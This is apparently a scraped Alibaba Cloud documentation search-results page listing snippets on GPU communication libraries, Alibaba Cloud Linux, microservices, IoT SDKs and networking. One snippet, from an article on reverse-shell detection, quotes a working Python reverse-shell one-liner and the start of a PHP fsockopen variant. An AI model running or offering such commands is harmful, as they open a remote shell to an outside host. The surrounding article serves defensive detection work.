什么是AI分布式训练通信优化库AIACC-ACSpeed
说明 NCCL是NVIDIA GPU的集合通信库，能实现集合通信和点对点通信，基本上所有AI开源框架通信底层都是NCCL。优化方法 基于上述问题，ACSpeed充分利用高带宽的nvilnk互联来实现AllReduce算法（例如GPU0与GPU3等），可以在单机通信出现瓶颈时...
基于eRDMA增强型实例部署AI训练集群
在NCCL底层通信链接上，有多种不同的传输方式，例如单机内部多卡P2P通信以及多机上的传统socket通信（如VPC网络）和高性能的InfiniBand（IB）通信，其中eRDMA是一种基于RDMA的传输方式，具有极低的延迟，并且在性能上接近RDMA网络的优势。...
Alibaba Cloud Linux 3镜像发布记录
阿里云定期发布Alibaba Cloud Linux 3镜像的更新版本，以确保用户可以获取到最新的操作系统特性、功能和安全补丁。您可以通过本文查看Alibaba Cloud Linux 3镜像最新的可用版本及更新内容。背景信息 如无特殊声明，更新内容适用于云服务器...
微服务引擎的线上流量治理
使用微服务引擎的线上流量治理，可以快速集成主流开源微服务框架，实现业务零改造，解决开源框架在生产落地过程中的痛点，例如无损上下线、标签路由等。通过托管微服务开源组件（API网关、注册中心、配置中心等）的服务，提供白屏化监控告...
产品优势
微服务引擎MSE是一个面向业界主流开源微服务框架SpringCloud、Dubbo以及多语言等一站式微服务平台，支持服务网格生态，标准、灵活、精准的控制流量，帮助提升系统整体的可用性，并且MSE在高可用、性能、安全方面大量增强，让您的应用获得...
概述
SOFABoot 是基于 Spring Boot 的开发框架，用于快速、敏捷地开发 Spring 应用程序，特别适合构建微服务系统。SOFABoot 在 Spring Boot 的基础上提供了诸如 Readiness Check、类隔离、日志空间隔离等能力，以解决大规模团队开发云原生微服务...
镜像介绍
镜像名称 镜像版本 说明 Alibaba Cloud Linux 2.19.03 Alibaba Cloud Linux 2是阿里云推出的下一代Linux发行版，它为云上应用程序环境提供Linux社区的增强功能，在提供云上用户体验的同时，也针对阿里云基础设施做了深度的优化。...
共享内存通信（SMC）使用说明
Alibaba Cloud Linux 3提供的共享内存通信SMC（Shared Memory Communication）是一种兼容socket层、使用共享内存技术实现的高性能内核网络协议栈。根据共享内存技术的不同，SMC又可以细分为基于Internal Shared Memory（ISM）技术的SMC ...
什么是Deepytorch Training（训练加速）
多机CPU-Reduce：该优化继承了单机内CPU-Reduce高效的异步流水线，并将跨机Socket通信也设计为流水线形态，实现多机通信全过程流水化，有效减少通信延迟，提高整体训练性能。例如，在通信量较大的Transformer-based模型的多机训练场景下，...
共享内存通信（SMC）使用说明
Alibaba Cloud Linux 3提供的共享内存通信SMC（Shared Memory Communication）是一种兼容socket层、使用共享内存技术实现的高性能内核网络协议栈。根据共享内存技术的不同，SMC又可以细分为基于Internal Shared Memory（ISM）技术的SMC ...
Alibaba Cloud Linux 2镜像发布记录
阿里云定期发布Alibaba Cloud Linux 2镜像的更新版本，以确保用户可以获取到最新的操作系统特性、功能和安全补丁。您可以通过本文查看Alibaba Cloud Linux 2镜像最新的可用版本及更新内容。背景信息 如无特殊声明，更新内容适用于云服务器...
DescribeProducts
Webmin是知名的Linux可视化面板管理工具，100%免费开源，可轻松管理文件、配置域名、修改配置文件、备份数据等.</shortDescription><suggestedPrice>10元/月</suggestedPrice><supplierId>228399</supplierId><supplierName>长沙*有限公司...
设备接入概述
一型一密 MQTT动态注册使用说明 设备认证 设备认证 设备认证 设备认证 设备认证 X.509证书认证 认证与连接 X.509证书 X.509证书 不支持 消息通信 认证与连接 MQTT协议通信 RRPC能力 广播通信 自定义MQTT Topic通信 RRPC能力 广播通信 基于...
系统运维工具集SysAK使用说明
rpm-ivh-nodeps包安装路径>例如，使用 wget 命令默认安装在 root 路径，执行命令如下：rpm-ivh-nodeps sysak-1.3.0-2.x86_64.rpm CentOS 7及其他内核版本大于3.10的Linux系统 仅支持开源版本自定义编译安装，可能存在兼容性问题。...
产品优势
您基于开源框架编写的算法代码或模型代码，几乎无需进行修改。AI分布式训练通信优化库AIACC-ACSpeed AIACC-ACSpeed（AIACC 2.0-AIACC Communication Speeding）作为阿里云自研的AI训练加速器，专注于分布式训练场景的通信优化功能，在训练...
合作伙伴及开源生态
主要工具：网络通信框架 SOFABolt、生产级高性能 Java 实现 SOFAJRaft、自动化测试框架 SOFAActs、轻量级类隔离容器 SOFAArk。生态项目：高性能可扩展安全网络代理 MOSN、简单可扩展自治事务框架 Seata。同时，SOFAStack 也积极参与了多个...
示例二：Linux+L610模组使用AT框架
通信模组完成AT模组驱动框架的适配后，需进行测试。以Linux环境下的L610模组设备为例，本文介绍该类型的设备，通过C Link SDK接入物联网平台的测试步骤。背景信息 通信模组与AT模组驱动框架适配的详细说明，请参见 概述。本文示例设备的...
自助建站方式汇总
搭建Hadoop环境 Hadoop是一款由Apache基金会用Java语言开发的分布式开源软件框架，用户可以在不了解分布式底层细节的情况下，开发分布式程序，充分利用集群的能力进行高速运算和存储。环境类型 部署方式 说明 搭建Hadoop环境 手动搭建...
接入方案概述
外接通信模组的设备，在移植Link SDK的过程中，需要对SDK的网络依赖接口与模组进行适配。本文介绍适配的相关内容。前提条件 已获取C Link SDK。定制SDK时，在 SDK定制 页面的 设备硬件形态 区域，选中 MCU+通信模组。已准备开发环境。背景...
TCP
本文介绍登云梯JS开发框架中TCP组件所提供的相关方法说明，支持的硬件平台列表以及参考示例代码。说明 目前TCP组件只支持了TCP Client功能。硬件平台 产品型号 是否支持 硬件类型 HaaS600Kit 是 开发板 HaaS510 是 DTU HaaS520 是 DTU HaaS...
什么是AI通信加速库Deepnccl
Deepnccl是为阿里云神龙异构产品开发的一种用于多GPU互联的AI通信加速库，在AI分布式训练或多卡推理任务中用于提升通信效率。本文主要介绍Deepnccl的架构、优化原理和性能说明。产品简介 Deepnccl基于NCCL（NVIDIA Collective ...
Alibaba Cloud Linux常见问题
本文介绍Alibaba Cloud Linux镜像的常见问题和常见操作指导。功能咨询 在阿里云ECS中运行Alibaba Cloud Linux是否收费？Alibaba Cloud Linux镜像本身是免费的，但是您需要为ECS实例等其他资源的支付费用。Alibaba Cloud Linux支持哪些阿里...
功能特性
EMR on ECS 功能集 功能 功能描述 参考文档 集群管理 创建集群 您可以轻松构建和运行Hadoop、Spark、Hive、Presto等开源大数据框架，以进行大规模数据处理和分析等操作。创建集群 释放集群 在完成EMR集群任务后及时释放集群，可以释放资源...
修改TCP TIME-WAIT超时时间
背景信息 TCP/IP协议的TIME-WAIT状态是指应用关闭用于通信的套接口（socket）之后，TCP/IP协议栈保持socket处于打开状态。该状态默认持续60秒，用来保证完成服务器和客户端的数据传输。当处于TIME-WAIT状态的连接数过多时，可能会影响到...
数据上云工具
MaxCompute平台支持丰富的数据上传和下载工具（其中大部分工具已经在GitHub公开源代码，以开源社区的方式进行维护）。您可以根据实际应用场景，选择合适的工具进行数据的上传和下载。阿里云数加产品 MaxCompute客户端（Tunnel通道系列）...
搭建ThinkPHP框架
本文介绍如何在Alibaba Cloud Linux 3/2、CentOS 7.x系统的ECS实例中搭建ThinkPHP 8.0框架。前提条件 本教程适用于正在学习PHP或者已基于ThinkPHP框架进行开发的开发人员。搭建ThinkPHP框架时，已有ECS实例必须满足以下条件：实例已分配...
共享内存通信（SMC）常见问题
如果您在Alibaba Cloud Linux 3系统中启用了共享内存通信SMC（Shared Memory Communication），且使用过程中遇到无法正常通信、部分端口不可用、对比TCP没有应用性能提升等问题，可以参考本文提供的方案进行排查并解决。启用SMC后应用性能...
使用操作系统Alibaba Cloud Linux 3
容器服务 Kubernetes 版 已全面支持阿里云新一代操作系统Alibaba Cloud Linux 3的节点创建，并结合Alibaba Cloud Linux 3的高内核特性提供了多场景优化。本文介绍Alibaba Cloud Linux 3操作系统的优势和场景，以及如何使用Alibaba Cloud ...
Alibaba Cloud Linux常见问题
本文介绍Alibaba Cloud Linux镜像的常见问题和常见操作指导。功能咨询 在阿里云ECS中运行Alibaba Cloud Linux是否收费？Alibaba Cloud Linux镜像本身是免费的，但是您需要为ECS实例等其他资源的支付费用。Alibaba Cloud Linux支持哪些阿里...
云安全中心反弹Shell多维检测技术详解
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.XX.XX",6060));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 案例三：php -r '$sock=fsockopen("10...
使用Inclavare Containers实现远程证明
背景信息 远程证明以关联了带有硬件可执行环境的Quote的TLS证书为信任根，确保通信双方的通信信道的安全性是完全基于硬件可信执行环境的。具体工作流程和架构图如下图所示。当您想验证机密容器工作负载是否运行在基于机密技术硬件的可信...
HBase Thrift Server
usr/bin/env python#coding=utf-8 from thrift import Thrift from thrift.transport import TSocket,TTransport from thrift.protocol import TBinaryProtocol from hbase import Hbase socket=TSocket.TSocket('master-1-1',9091)socket....
SDK同步与异步通信模式
例如嵌入式Linux、Windows系统，以及大部分配备LwIP协议栈通信的RTOS（FreeRTOS系统）等，都支持上层应用主动收取网络报文。在这些系统上，C Link SDK的网络应用软件，可以随时主动的调用类似 read()的函数接口，从已开启的 Socket 接口...
Linux实例常用远程连接兼数据传输工具
本文提供以下两款Linux实例常用远程连接兼数据传输工具，安全组已经放行相关端口，请参考 安全组规则的典型应用 文档，放行数据传输使用的通信端口。您可以参阅 常用端口的典型应用 文档了解云服务器ECS的常用通信端口。SSH Secure Shell ...
客户端集成跨平台插件
Flutter插件 Flutter是一个高性能、跨端UI框架，可以通过一套代码，支持iOS、Android、Windows/MAC/Linux等多个平台，且能达到原生性能。移动推送Flutter插件官方维护的版本已发布在Flutter官方仓库，如果想集成移动推送Flutter插件的，请...
功能特性
支持外部注册Kubernetes集群 支持边缘集群ACK Edge 生产级的多集群支持（跨VPC、跨地域）支持的操作系统 Alibaba Cloud Linux 2 Alibaba Cloud Linux 2 Alibaba Cloud Linux 2、以及Alibaba Cloud Linux 3 Alibaba Cloud Linux 2、以及...
Linux系统常用内核网络参数介绍与常见问题处理
本文介绍常见的Linux系统内核网络参数及常见问题的解决方案。注意事项 在修改内核参数前，您需要注意以下几点：从实际需求出发，尽量有相关数据的支撑，不建议您随意调整内核参数。了解参数的具体作用，需注意不同类型或版本的环境中，内核...
通过SSH隧道方式访问开源组件Web UI
在E-MapReduce（简称EMR）集群中，为了确保集群安全，Hadoop、Spark和Flink等开源组件的Web UI的端口均未对外开放。鉴于此安全机制，您无法直接访问这些组件的管理界面。EMR提供了控制台和SSH隧道两种方式进行安全访问。本文为您介绍如何...
全面兼容和支持 Seata
GTS 已经全面兼容和支持开源分布式事务 Seata，实现与 Seata 的协议兼容，支持使用 Seata 的应用无缝迁移到云上，基于 GTS 提供的服务高效运行。Seata 简介 Simple Extensible Autonomous Transaction Architecture（Seata）是一款开源的...
适配模组特性
AT驱动框架完成硬件链路和操作系统的适配后，还需适配模组特性。本文介绍如何适配模组特性。前提条件 已适配硬件链路和操作系统，具体信息，请参见 适配硬件链路和操作系统。背景信息 模组特性主要体现在模组的AT指令上，不同模组供应商...
- 产品推荐
- 这些文档可能帮助您